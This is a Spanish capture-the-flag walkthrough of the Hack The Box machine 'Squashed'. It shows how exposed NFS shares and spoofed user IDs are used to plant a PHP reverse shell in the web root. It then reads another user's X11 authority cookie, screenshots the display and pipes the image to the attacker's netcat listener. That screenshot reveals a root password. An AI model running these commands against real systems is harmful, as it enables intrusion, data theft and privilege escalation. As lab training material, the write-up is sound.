Descripción

Squashed es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Carpeta compartida NFS permite subir archivos a un servidor web permitiendo ejecución de comandos remotos
  • Carpeta compartida NFS permite leer la cookie de autenticación X11 de otro usuario
  • Escalada de Privilegios al utilizar una credencial filtrada en una captura de pantalla de una pantalla X11

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.191.

$ ping -c 3 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=44.0 ms
64 bytes from 10.10.11.191: icmp_seq=2 ttl=63 time=45.1 ms
64 bytes from 10.10.11.191: icmp_seq=3 ttl=63 time=42.9 ms

--- 10.10.11.191 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.915/44.036/45.147/0.911 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.191 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.191
Host is up (0.045s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
2049/tcp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

Obtenemos cuatro puertos abiertos: 22, 80, 111 y 2049.

Enumeración

Después hacemos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.191 -sV -sC -p22,80,111,2049 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.191
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
...
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs     3-4 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), uno Hypertext Transfer Protocol (HTTP) y uno Network File System (NFS). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio NFS. Añadimos el dominio squashed.htb al archivo /etc/hosts.

$ echo '10.10.11.191 squashed.htb' | sudo tee -a /etc/hosts

Enumeramos el servicio NFS para montajes públicos. Encontramos dos: el directorio de inicio del usuario ross/home/ross y el directorio raíz del servidor HTTP, /var/www/html.

$ showmount -e squashed.htb
Export list for squashed.htb:
/home/ross    *
/var/www/html *

Montamos el directorio raíz del servidor web y lo enumeramos:

$ mkdir server
$ sudo mount -t nfs squashed.htb:/var/www/html ./server -o nolock
$ ls -l server 
...
total 0
?????????? ? ? ? ?            ? css
?????????? ? ? ? ?            ? images
?????????? ? ? ? ?            ? index.html
?????????? ? ? ? ?            ? js
$ ls -l
total 16
...
drwxr-xr-- 5 2017 www-data 4096  server

Encontramos que no tenemos permisos para leer los archivos contenidos en la carpeta, pero podemos enumerar los permisos de la carpeta en su lugar. Encontramos que la carpeta es propiedad de un usuario con identificador de usuario de 2017.

Explotación

Podemos suplantar a ese usuario creando un usuario temporal en nuestra máquina con ese identificador de usuario y grupo. Luego nos movemos a ese usuario y a la carpeta (necesitamos remontarla en un directorio común.

$ umount ./server
$ mkdir /tmp/server
$ sudo mount -t nfs squashed.htb:/var/www/html /tmp/server -o nolock
$ sudo useradd tempuser
$ sudo usermod -u 2017 tempuser
$ sudo groupmod -g 2017 tempuser
$ sudo su tempuser
$ cd /tmp/server
$ ls -l
total 44
drwxr-xr-x 2 tempuser www-data  4096 css
drwxr-xr-x 2 tempuser www-data  4096 images
-rw-r----- 1 tempuser www-data 32532 index.html
drwxr-xr-x 2 tempuser www-data  4096 js

Ahora podemos comprobar el contenido de la carpeta y tenemos permisos para escribir archivos. Como vimos previamente, la máquina ejecuta un servidor Apache, por lo que podría soportar la ejecución de archivos PHP, por lo que podemos obtener la ejecución de comandos remotos con una terminal inversa. Abrimos un puerto de escucha nc -nvlp 1234.

$ bash -i
tempuser@k:/tmp/server$ cp /usr/share/webshells/php/php-reverse-shell.php .
tempuser@k:/tmp/server$ nano php-reverse-shell.php

Entonces activamos la vulnerabilidad enviando una solicitud HTTP al servidor. Recibimos una terminal inversa como el usuario alex, la elevamos.

$ curl 'http://squashed.htb/php-reverse-shell.php'
$ nc -nvlp 1234                                                 
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.191] 57944
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 22:46:16 up 30 min,  1 user,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               22:16   29:59   1.93s  0.02s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/$ ^Z
$ stty raw -echo; fg
$ reset xterm
alex@squashed:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos tres usuarios de consola en el sistema: rootalex y ross.

alex@squashed:/$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
alex:x:2017:2017::/home/alex:/bin/bash
ross:x:1001:1001::/home/ross:/bin/sh
fwupd-refresh:x:124:131:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

Podemos listar el directorio home del usuario ross.

alex@squashed:/$ ls -la /home/ross
total 68
drwxr-xr-x 14 ross ross 4096 Oct 21  2022 .
drwxr-xr-x  4 root root 4096 Oct 21  2022 ..
-rw-------  1 ross ross   57 Oct 21  2022 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20  2022 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21  2022 .cache
drwx------ 12 ross ross 4096 Oct 21  2022 .config
...

Encontramos el archivo .Xauthority, lo que significa que el sistema X11 de ventanas está activo y probablemente está mostrando una interfaz gráfica. En este archivo hay una cookie para autenticarse con las sesiones X. Podemos reutilizar el método que utilizamos anteriormente para subir el archivo y leer el archivo desde nuestra máquina.

$ sudo umount /tmp/server
$ sudo mount -t nfs squashed.htb:/home/ross /tmp/server -o nolock
$ sudo userdel tempuser
$ sudo useradd tempuser
$ sudo usermod -u 1001 tempuser
$ sudo groupmod -g 1001 tempuser
$ sudo su tempuser
$ cd /tmp/server
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAB/cF6D79VvQu0VUqH20QE

Regresamos a la terminal y copiamos el contenido del archivo a otro archivo.

alex@squashed:/$ echo 'AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAB/cF6D79VvQu0VUqH20QE' | base64 -d > /tmp/cookie

Entonces tomamos una captura de pantalla de la pantalla con la herramienta xwd y luego la extraemos.

alex@squashed:/$ XAUTHORITY=/tmp/cookie xwd -root -screen -display :0 > /tmp/image.xwd
alex@squashed:/$ cat /tmp/image.xwd | nc 10.10.14.16 1235

Recibimos la imagen y la convertimos al formato png.

$ nc -nvlp 1235 > image.xwd
$ convert image.xwd image.png

Encontramos que la imagen es una captura del programa KeePassXC con la contraseña rootcah$mei7rai9A. Iniciamos sesión utilizando la herramienta su para obtener la terminal root.

alex@squashed:/$ su root
Password: 
root@squashed:/# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@squashed:/# cat /home/alex/user.txt 
<REDACTED>
root@squashed:/# cat /root/root.txt 
<REDACTED>